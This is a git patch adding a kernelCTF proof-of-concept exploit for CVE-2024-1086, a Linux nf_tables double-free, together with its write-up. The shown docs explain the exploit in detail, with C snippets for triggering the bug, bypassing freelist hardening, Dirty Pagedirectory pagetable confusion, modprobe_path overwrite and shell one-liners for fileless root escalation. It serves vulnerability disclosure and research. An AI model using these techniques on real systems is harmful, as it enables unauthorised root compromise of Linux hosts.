From 6bbf4c3cb6ae016b1f885a689934246e1369fe20 Mon Sep 17 00:00:00 2001
From: notselwyn <68616630+Notselwyn@users.noreply.github.com>
Date: Wed, 3 Apr 2024 11:36:53 -0400
Subject: [PATCH 01/38] kernelCTF: added CVE-2024-1086 lts mitigation
---
.../docs/exploit.md | 214 ++++
.../docs/img/pagesetup.svg | 3 +
.../docs/novel-techniques.md | 199 ++++
.../docs/vulnerability.md | 47 +
.../exploit/lts-6.1.72/Makefile | 31 +
.../exploit/lts-6.1.72/exploit | Bin 0 -> 169360 bytes
.../lts-6.1.72/include/libmnl/LICENSE.md | 516 +++++++++
.../lts-6.1.72/include/libmnl/libmnl.h | 202 ++++
.../lts-6.1.72/include/libnftnl/LICENSE.md | 349 +++++++
.../lts-6.1.72/include/libnftnl/batch.h | 26 +
.../lts-6.1.72/include/libnftnl/chain.h | 117 +++
.../lts-6.1.72/include/libnftnl/common.h | 63 ++
.../lts-6.1.72/include/libnftnl/expr.h | 323 ++++++
.../lts-6.1.72/include/libnftnl/flowtable.h | 86 ++
.../exploit/lts-6.1.72/include/libnftnl/gen.h | 50 +
.../lts-6.1.72/include/libnftnl/object.h | 175 ++++
.../lts-6.1.72/include/libnftnl/rule.h | 102 ++
.../lts-6.1.72/include/libnftnl/ruleset.h | 77 ++
.../exploit/lts-6.1.72/include/libnftnl/set.h | 178 ++++
.../lts-6.1.72/include/libnftnl/table.h | 85 ++
.../lts-6.1.72/include/libnftnl/trace.h | 55 +
.../lts-6.1.72/include/libnftnl/udata.h | 131 +++
.../include/linux-lts-6.1.72/.gitignore | 2 +
.../include/linux-lts-6.1.72/LICENSE.md | 336 ++++++
.../include/linux-lts-6.1.72/Makefile | 95 ++
.../include/linux-lts-6.1.72/headers_check.pl | 171 +++
.../exploit/lts-6.1.72/lib/libmnl-LICENSE.md | 516 +++++++++
.../exploit/lts-6.1.72/lib/libmnl.a | Bin 0 -> 26194 bytes
.../lts-6.1.72/lib/libnftnl-LICENSE.md | 350 +++++++
.../exploit/lts-6.1.72/lib/libnftnl.a | Bin 0 -> 465612 bytes
.../exploit/lts-6.1.72/src/config.h | 12 +
.../exploit/lts-6.1.72/src/env.c | 131 +++
.../exploit/lts-6.1.72/src/env.h | 16 +
.../exploit/lts-6.1.72/src/exploit.c | 981 ++++++++++++++++++
.../exploit/lts-6.1.72/src/file.c | 28 +
.../exploit/lts-6.1.72/src/file.h | 10 +
.../exploit/lts-6.1.72/src/net.c | 85 ++
.../exploit/lts-6.1.72/src/net.h | 7 +
.../exploit/lts-6.1.72/src/nftnl.c | 246 +++++
.../exploit/lts-6.1.72/src/nftnl.h | 7 +
.../exploit/mitigation-v3-6.1.55/Makefile | 31 +
.../exploit/mitigation-v3-6.1.55/exploit | Bin 0 -> 169360 bytes
.../include/libmnl/LICENSE.md | 516 +++++++++
.../include/libmnl/libmnl.h | 202 ++++
.../include/libnftnl/LICENSE.md | 349 +++++++
.../include/libnftnl/batch.h | 26 +
.../include/libnftnl/chain.h | 117 +++
.../include/libnftnl/common.h | 63 ++
.../include/libnftnl/expr.h | 323 ++++++
.../include/libnftnl/flowtable.h | 86 ++
.../include/libnftnl/gen.h | 50 +
.../include/libnftnl/object.h | 175 ++++
.../include/libnftnl/rule.h | 102 ++
.../include/libnftnl/ruleset.h | 77 ++
.../include/libnftnl/set.h | 178 ++++
.../include/libnftnl/table.h | 85 ++
.../include/libnftnl/trace.h | 55 +
.../include/libnftnl/udata.h | 131 +++
.../include/linux-lts-6.1.72/.gitignore | 2 +
.../include/linux-lts-6.1.72/LICENSE.md | 336 ++++++
.../include/linux-lts-6.1.72/Makefile | 95 ++
.../include/linux-lts-6.1.72/headers_check.pl | 171 +++
.../lib/libmnl-LICENSE.md | 516 +++++++++
.../exploit/mitigation-v3-6.1.55/lib/libmnl.a | Bin 0 -> 26194 bytes
.../lib/libnftnl-LICENSE.md | 350 +++++++
.../mitigation-v3-6.1.55/lib/libnftnl.a | Bin 0 -> 465612 bytes
.../exploit/mitigation-v3-6.1.55/src/config.h | 12 +
.../exploit/mitigation-v3-6.1.55/src/env.c | 131 +++
.../exploit/mitigation-v3-6.1.55/src/env.h | 16 +
.../mitigation-v3-6.1.55/src/exploit.c | 981 ++++++++++++++++++
.../exploit/mitigation-v3-6.1.55/src/file.c | 28 +
.../exploit/mitigation-v3-6.1.55/src/file.h | 10 +
.../exploit/mitigation-v3-6.1.55/src/net.c | 85 ++
.../exploit/mitigation-v3-6.1.55/src/net.h | 7 +
.../exploit/mitigation-v3-6.1.55/src/nftnl.c | 246 +++++
.../exploit/mitigation-v3-6.1.55/src/nftnl.h | 7 +
.../metadata.json | 34 +
.../original_exp121.tar.gz | Bin 0 -> 1938374 bytes
.../original_exp124.tar.gz | Bin 0 -> 1938374 bytes
79 files changed, 11615 insertions(+)
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile
create mode 100755 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/exploit
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libmnl/LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libmnl/libmnl.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/batch.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/chain.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/common.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/expr.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/flowtable.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/gen.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/object.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/rule.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/ruleset.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/set.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/table.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/trace.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/libnftnl/udata.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/linux-lts-6.1.72/.gitignore
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/linux-lts-6.1.72/LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/linux-lts-6.1.72/Makefile
create mode 100755 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/include/linux-lts-6.1.72/headers_check.pl
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libmnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libmnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libnftnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libnftnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/config.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/env.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/env.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/exploit.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/file.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/file.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/net.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/net.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/nftnl.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/nftnl.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/Makefile
create mode 100755 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/exploit
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libmnl/LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libmnl/libmnl.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/batch.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/chain.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/common.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/expr.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/flowtable.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/gen.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/object.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/rule.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/ruleset.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/set.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/table.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/trace.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/libnftnl/udata.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/linux-lts-6.1.72/.gitignore
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/linux-lts-6.1.72/LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/linux-lts-6.1.72/Makefile
create mode 100755 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/include/linux-lts-6.1.72/headers_check.pl
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libmnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libmnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libnftnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libnftnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/config.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/env.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/env.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/exploit.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/file.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/file.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/net.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/net.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/nftnl.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/nftnl.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/metadata.json
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/original_exp121.tar.gz
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/original_exp124.tar.gz
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
new file mode 100644
index 00000000..852d6248
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
@@ -0,0 +1,214 @@
+# exploit
+
+Original LPE PoC for CVE-2024-1086, tested on Linux KernelCTF lts-6.1.72 and mitigation-6.1. Successrate of 99.6% on LTS on local testing.
+
+## Requirements
+
+As described in the vulnerability docs, the exploit requires nf_tables and unprivileged user namespaces to be available.
+
+Caveats for this version of the exploit:
+- Only works on QEMU VMs (because of a race-condition related to converting pages from order==4 to order==0)
+- Requires at least 2 CPU cores to be present (because of the race condition above)
+- Requires a maximum of 4GiB physical memory
+
+The updated version is included in the seperate blogpost and Github repo.
+
+## Multiprocessing
+
+This exploit makes use of 2 processes, because of a race condition.
+
+In this version, there are 2 threads for Dirty Pagedirectory: the "target PFN write" thread (PMD side), and the "target page access" thread (PUD side). This is because the PUD page and PMD page are allocated in the seperate processes. It is possible to make this behaviour obsolete, but this was unknown at the time of submission.
+
+The communication between the threads happen through an shared `struct shared_info` instance, mmap'd in `main()`. There are several status indicators in this struct:
+- `mem_status`: an indicator of the memory scanning status (saying thread 1 should proceed or thread 2 should proceed)
+- `lock_status`: an indicator of a CPU lock, used when syncing up the threads for the race condition.
+- `flush_status`: obsolete indicator which was used for communication between the TLB flushing parent and child. Now, the TLB flushing function mmap's its own indicator, which is now thread safe.
+- `exploit_status`: an indicator used for the foreground exploit thread which makes it look like the exploit process stopped when it is done, whilst the child actually keeps running by sleeping to avoid a kernel bug.
+
+```c
+#define SPINLOCK_NOSLEEP(cmp) while (cmp) { }
+
+// syncs threads within 5ms diffs by calling both SYNC_CPU0() and SYNC_CPU1()
+// allows CPU1 to be earlier and allows CPU0 to be earlier
+
+#define SYNC_CPU0() do { \
+ printf("[*] syncing cpu 0...\n"); \
+ SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_NONE); \
+\
+ memdump_info->lock_status = LOCK_STAT_0; \
+ SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_0); \
+\
+ memdump_info->lock_status = LOCK_STAT_NONE; \
+ } while (0);
+
+#define SYNC_CPU1() do { \
+ printf("[*] syncing cpu 1...\n"); \
+ memdump_info->lock_status = LOCK_STAT_1; \
+ SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_1); \
+\
+ memdump_info->lock_status = LOCK_STAT_1; \
+ } while (0);
+ ```
+
+## Workflow - Setup
+
+### Namespaces
+
+Before we can exploit the vuln, we need to setup user namespaces so we can set up our own nft rules, and disable RPF (anti IP spoofing thing, which prevents us from traversing a specific IPv4 codepath to avoid kernel panics). The code for these procedures are straightforward but a lot of code, so I will not show it here.
+
+```c
+void setup_env()
+{
+ uid_t uid = getuid();
+ gid_t gid = getgid();
+
+ do_unshare();
+ configure_uid_map(uid, gid);
+ configure_interfaces();
+ configure_nftables();
+ clean_files();
+}
+```
+
+### Nft rule triggering the bug
+
+Before we can trigger the vuln, we need to set up an nft rule which returns the malicious verdict. To avoid false positives, we need to specify a unique filter so only our exploits' packet triggers the double-free. If we did not apply the filter, every IPv4 packet in the system would get double-freed. Our filter is arbitrary, and I chose for filtering for packets which have IPv4 header protocol == 69 && first 4 bytes "\x41\x41\x41\x41". I have not experienced false positives with this.
+
+```c
+static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
+{
+ struct nftnl_expr *e;
+
+ e = nftnl_expr_alloc("immediate");
+ if (e == NULL) {
+ perror("expr immediate");
+ exit(EXIT_FAILURE);
+ }
+
+ nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
+ nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val); // Set the verdict to 0x69
+
+ nftnl_rule_add_expr(r, e);
+}
+
+static struct nftnl_rule *alloc_rule(unsigned char family, const char *table, const char *chain, unsigned char proto)
+{
+ struct nftnl_rule *r = NULL;
+
+ r = nftnl_rule_alloc();
+ if (r == NULL) {
+ perror("rule alloc");
+ exit(EXIT_FAILURE);
+ }
+
+ nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
+ nftnl_rule_set(r, NFTNL_RULE_TABLE, table);
+ nftnl_rule_set(r, NFTNL_RULE_CHAIN, chain);
+
+ // expect protocol to be `proto`
+ add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, offsetof(struct iphdr, protocol), sizeof(unsigned char));
+ add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(unsigned char));
+
+ // expect 4 first bytes of packet to be \x41
+ add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, sizeof(struct iphdr), 4);
+ add_cmp(r, NFT_REG_1, NFT_CMP_EQ, "\x41\x41\x41\x41", 4);
+
+
+ // (NF_DROP | -((0xFFFF << 16) >> 16)) == 1, aka NF_ACCEPT (trigger double free)
+ // (NF_DROP | -((0xFFF0 << 16) >> 16)) == 16
+ add_set_verdict(r, 0xFFFF << 16);
+
+ return r;
+}
+```
+
+### Pre-allocating Dirty Pagedirectory PUDs
+
+In order to use Dirty Pagedirectory we must register VMAs before we can allocate the pages and pagetables. Additionally, notice how we pre-allocate the PUD for the PMD double-alloc etc, so we do not allocate the PUD when we need to allocate the PMD.
+
+These VMA address ranges are semi-arbitrary, as long as they align with their targetted pagetable entries.
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ unsigned long long *pmd_area;
+ void *_pud_area;
+ void *pud_kernel_area;
+ void *pud_data_area;
+ // ... (more var declarations)
+
+ // pre-allocate PUD for PMD
+ mmap((void*)0x200000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ *(unsigned long long*)0x200000 = 0xCAFEBABE;
+
+ // pre-allocate VMA for PMD and PUD (not themself)
+ pmd_area = mmap((void*)0x40000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0); // shared bcs it may be used for cache flushing
+
+ // these use different PTEs but the same PUD
+ _pud_area = mmap((void*)0x8000000000, 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ pud_kernel_area = _pud_area;
+ pud_data_area = _pud_area + 0x200000;
+
+ // ... (more exploit code)
+}
+```
+
+## Workflow - Double-free -> Dirty Pagedirectory
+
+Before we proceed, please checkout the image below, describing the operations to set up Dirty Pagedirectory (PUD+PMD):
+
+
+
+### Setup for `CONFIG_FREELIST_HARDENED` naive DF detection bypass
+
+In order to bypass `CONFIG_FREELIST_HARDENED`'s naive double-free detection, we simply allocate an skb (remove from the freelist) before the double-free, which we free (append to the freelist) in between the double-free.
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ // ... (more exploit stuff)
+ } else {
+#if CONFIG_FLC_BYPASS
+ set_ipfrag_time(1);
+
+ // will expire naturally after 1 second
+ df_ip_header.ip_id = 0x1334;
+ df_ip_header.ip_len = sizeof(struct ip)*2 + 8*2 + 8;
+ df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
+ alloc_intermed_buf_hdr(8, &df_ip_header);
+
+ // make sure df trigger packet doesn't get expired while waiting for skb5 to be freed
+ set_ipfrag_time(999);
+#endif
+ // ... (more exploit stuff)
+ }
+
+ // ... (more exploit stuff)
+}
+```
+
+### Double-free (free 1)
+
+In order to trigger the double-free, we send the IPv4 packet which satisfies the filter. This will cause the first free of the double-free. Then, it will send the packet to an IPv4 fragment queue (IFQ), until 999 seconds have passed or until the queue is complete (which we will complete when the 2nd free happened).
+
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg
new file mode 100644
index 00000000..753dff09
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md
new file mode 100644
index 00000000..bfd05b35
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md
@@ -0,0 +1,199 @@
+# novel-techniques
+
+TODO: increase description granularity for techniques proven to be novel.
+
+## Bypassing KernelCTF mitigation instance corruption checks for skb's
+
+One of the mitigations in the KernelCTF Mitigation instance is checking the freelist next pointer when allocating an object through a freelist pointer.
+
+In the exploit, the following happens when doing the double-free:
+1. alloc skb1
+2. free skb1 (set new freelist pointer)
+3. modify skb->len (overlapping with freelist next pointer)
+4. free skb1 (set new freelist pointer)
+
+This means upon step 3 the freelist next pointer gets corrupted. `CONFIG_FREELIST_HARDENED` is excluded here for demonstration purposes. When the background applications in the system try to transmit packets, they will inevitably try to allocate the skb object with the corrupted freelist next pointer, causing a system crash.
+
+To bypass this, we leverage the fact that these corruption checks only happen on allocation, not on free. Hence, we can mask the corrupted object by spraying "healthy" objects which can be allocated instead. Hence, it would look like this:
+
+1. alloc N skb objects
+2. alloc skb1
+3. free skb1 (set new freelist pointer)
+4. modify skb->len (overlapping with freelist next pointer)
+5. free N skb objects
+6. free skb1 (set new freelist pointer)
+
+Whilst this is probably not the vulnerability which freelist next pointer corruption detection is intended to mitigate, it would definitively mitigate exploiting this specific scenario.
+
+The fix for this technique would be checking the freelist next pointer of the previous object in the freelist when freeing an object.
+
+
+## Dirty Pagedirectory (pagetable confusion)
+
+Perhaps the most interesting technique in this exploit is Dirty Pagedirectory: plainly put, pagetable confusion between pagetables like PUD+PMD and PMD+PTE.
+
+By double-allocating an PUD page and PMD page, or an PMD page and a PTE page, which can set pagetable entries from userland pages. This allows for a *very* powerful primitive allowing the exploit to do rapid memory read/writes across all physical memory of the system.
+
+Note how PT entries not only include the physical address (PFN), but also the page flags. Hence, we can write to read-only pages like modprobe_path. As if that isn't enough, we can set the target area to 1GiB (PMD+PTE) and/or 512GiB (PUD+PMD) addresses at the same time. Ofcourse, this can be limited to save memory usage and overhead.
+
+
+## Freeing skb's instantly on arbitrary CPUs without UDP/TCP stacks
+
+In order to bypass certain double-free detections, we need to free skb's on specific timings on specific CPUs. Additionally, we cannot make use of the UDP and TCP stacks in the kernel, since they access (due to double-free) corrupted fields in the skb.
+
+Fortunately, we can do this with the IPv4 fragment queues (IFQs). By sending an IPv4 fragment to localhost, we make it wait `ipfrag_time` seconds until all fragments are freed. Alternatively, it gets freed when the IFQ is completed (i.e. the target length is reached with the fragments in the IFQ).
+
+If needed, we can prolong the lifetime of the IFQ by writing to `/proc/sys/net/ipv4/ipfrag_time`.
+
+Unfortunately, the target length of the IFQ is depending on skb->len, which is corrupted by the double-free. Hence, we need to do this by triggering an error in the IFQ code, causing it to free all fragments in the queue on the CPU handling the triggering skb.
+
+It looks like this in action with the double-free:
+1. alloc skb1 (double-freed IPv4 fragment) @ CPU `X`
+2. free skb1 (1) @ CPU `X`
+3. make skb1 go into IFQ (utilizing its' content)
+4. do stuff here, like spraying skb's, spraying PTEs, etc
+5. alloc skb2 (errornous IPv4 fragment) @ CPU `Y`
+6. free skb2 @ CPU `Y`
+7. free skb1 @ CPU `Y`
+
+## Fileless privesc using fd hijacking
+
+We can escape the namespace by doing file descriptor hijacking: hooking up the file descriptors of another process (or `/dev/console`) to the `/bin/sh` instance as root triggered by the `modprobe_path` technique.
+
+For example:
+- hijack `/dev/console` (works only on local TTYs): `/bin/sh 0/dev/console 2>&1`
+- hijack exploit fd's (works on reverse shells as well): `/bin/sh 0/fd/0 1>/proc//fd/1 2>&1`
+
+This way we can do fileless privesc and escape the namespace without even writing a single file, allowing for privesc on read-only systems.
+
+## Fileless privesc using modprobe_path + procfs
+
+We can combine overwriting `modprobe_path` with procfs to allow for fileless privesc script execution as root from the root namespace. With this primitive, we can utilize fd hijacking to perform fileless namespace escapes.
+
+We can overwrite `modprobe_path` to `/proc//fd/` and it will execute the privesc script completely from memory, allowing privesc on read-only systems.
+
+## TLB flushing with PCID enabled
+
+One of the things required for Dirty Pagedirectory is a working TLB flushing primitive. Assuming the target VMA is shared, we can fork() and munmap() that VMA in the child. This allows for 100% working TLB flushing regardless of PCID, without altering the original pagetables. I presume the CPU needs to be pinned, to avoid flushing an incorrect CPU core's TLB cache.
+
+The code for this looks like:
+
+```c
+#define SPINLOCK(cmp) while (cmp) { usleep(10 * 1000); }
+
+// presumably needs to be CPU pinned
+static void flush_tlb(void *addr, size_t len)
+{
+ short *status;
+
+ status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+ *status = FLUSH_STAT_INPROGRESS;
+ if (fork() == 0)
+ {
+ munmap(addr, len);
+ *status = FLUSH_STAT_DONE;
+ sleep(9999);
+ }
+
+ SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
+
+ munmap(status, sizeof(short));
+}
+```
+
+Note that the child sleeps instead of exits, to avoid certain kernel bugs when doing dirty pagedirectory.
+
+## Easing physical KASLR bruteforce
+
+It is possible to ease physical KASLR bruteforcing. The Linux kernel base is aligned to `CONFIG_PHYSICAL_START` (and/or `CONFIG_PHYSICAL_ALIGN`) bytes. This essentially means the Linux kernel must be aligned to 16MiB or 2MiB, reducing the amount of possible base addresses from e.g. 8GiB addresses (assuming 8GiB physical memory) to 512 addresses (a bruteforcable amount).
+
+## Validating the correct modprobe_path
+
+We can validate if we found the correct `modprobe_path` object in physical memory (when using Dirty Pagedirectory), by checking if the output of `/proc/sys/kernel/modprobe` has changed to the new value, since it is a "real-time" reference to the `modprobe_path` object used in the kernel.
+
+For example, this can be done with:
+
+```c
+static int get_modprobe_path(char *buf, size_t buflen)
+{
+ int size;
+
+ size = read_file("/proc/sys/kernel/modprobe", buf, buflen);
+
+ if (size == buflen)
+ printf("[*] ==== read max amount of modprobe_path bytes, perhaps increment KMOD_PATH_LEN? ====\n");
+
+ // remove \x0a
+ buf[size-1] = '\x00';
+
+ return size;
+}
